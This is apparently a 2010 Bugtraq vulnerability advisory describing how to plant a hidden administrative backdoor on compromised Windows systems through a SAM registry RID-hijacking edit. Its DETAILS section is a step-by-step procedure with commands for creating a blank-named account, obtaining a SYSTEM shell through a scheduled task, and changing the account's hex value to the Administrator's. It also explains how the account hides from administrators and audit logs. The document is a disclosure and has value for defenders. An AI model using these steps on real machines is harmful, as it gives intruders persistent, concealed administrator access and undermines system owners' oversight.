---

www.ExploitDevelopment.com 2010-M$-001

TITLE:

Flaw in Microsoft Windows SAM Processing Allows Continued Administrative Access Using Hidden Regular User Masquerading After Compromise

SUMMARY AND IMPACT:

All versions of Microsoft Windows allow real-time modifications to the Security Accounts Manager (SAM) that enable an attacker to create a hidden administrative backdoor account for continued access once a system has been compromised. Once an attacker has compromised a Microsoft Windows computer system using any method, they can either leave behind a regular user or hijack a known user account (Such as ASPNET). This user account will now have all of the rights of the built-in local administrator account from local or remote connections. The user will also share the Administrator's desktop and profile. When inspected by system administrators, the regular user always looks like it is just part of the built-in user's group. The attacker can also make the regular user account hard to detect by creating a user with the username of "ALT-0160", for blank space. Events in the audit log pertaining to the hidden account will be created if the system administrator has enabled auditing, but the user name fields are all blank. Once a system has been compromised, the attacker would need to ensure the Task Scheduler service is enabled only when starting the method. This method can be used to masquerade as any user account on the computer system.

DETAILS:
Use the following steps to exploit this vulnerability.

Step 1: Attacker compromises the Windows computer using any available method.
Step 2: Attacker creates a user account with a blank username using 'net user " " P@$$w0rd /add'. In between the double quotes, you can use ALT+0160 to create the blankspace.
Step 3: Attacker creates an interactive scheduled task to run a minute after creating it. This scheduled task brings up a command prompt as the NT Authority\SYSTEM account on Windows 2000, XP, and 2003. 'at 11:24 /interactive cmd.exe'. If using Windows Vista, 7, or 2008 Server, the attacker must do all registry editing from the command line using 'schtasks'.
Step 4: Once the SYSTEM command prompt comes up, open regedit from the command line.
Step 5: Browse to 'HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names'
Step 6: Click on the newly created user account's user name.
Step 7: Take note of the "Type" field for that user.
Step 8: In this example, the backdooruser's "Type" is 0x3f7 and the built-in Administrator's is 0x01F4.
Step 9: Under 'HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users' click on 000003F7.
Step 10: In the right pane, double click on the "F" key.
Step 11: Go to the 7th row of HEX values.
Step 12: Change the value from "F7 03" to "F4 01".
Step 13: Log off then log on using your new backdoor account.
Step 14: You will notice that you are now using the Administrator's desktop and rights.
Step 15: When you run 'net localgroup Administrators' you will see your backdoor account listed only when you log in as the backdooruser to check for it. If any other user runs the same command they will only see the regular user accounts.
Step 16: Delete any other temporary accounts you may have made during the method.

VULNERABLE PRODUCTS:
All patch levels of Microsoft Windows 2000 Workstation, Windows 2000 Server, Windows 2003 Server, Windows XP, Windows Vista, Windows 7, and Windows 2008 Server. (Windows Vista, Windows 7 and Windows 2008 Server are harder to exploit because you cannot bring up an interactive SYSTEM shell, but you can still dump the registry, edit the field, then merge the registry back as SYSTEM to complete the method).

REFERENCES AND ADDITIONAL INFORMATION:
N/A

CREDITS:
StenoPlasma (at) ExploitDevelopment.com

TIMELINE:
Discovery: July 1, 2010
Vendor Notified: August 8, 2010
Vendor Dismissed: August 10, 2010 (MSRC says that there is nothing to investigate because the action can only happen after a compromise. This vulnerabilities deals with continued access without using DLL injection or Rootkits)
Vendor Fixed: N/A
Vendor Notified of Disclosure: October 26, 2010
Disclosure to Bugtraq: December 2, 2010

VENDOR URL:
http://www.microsoft.com

ADVISORY URL:
http://www.ExploitDevelopment.com/Vulnerabilities/2010-M$-001.html

VENDOR ADVISORY URL:
N/A

Thank you,

StenoPlasma at ExploitDevelopment.com
www.ExploitDevelopment.com
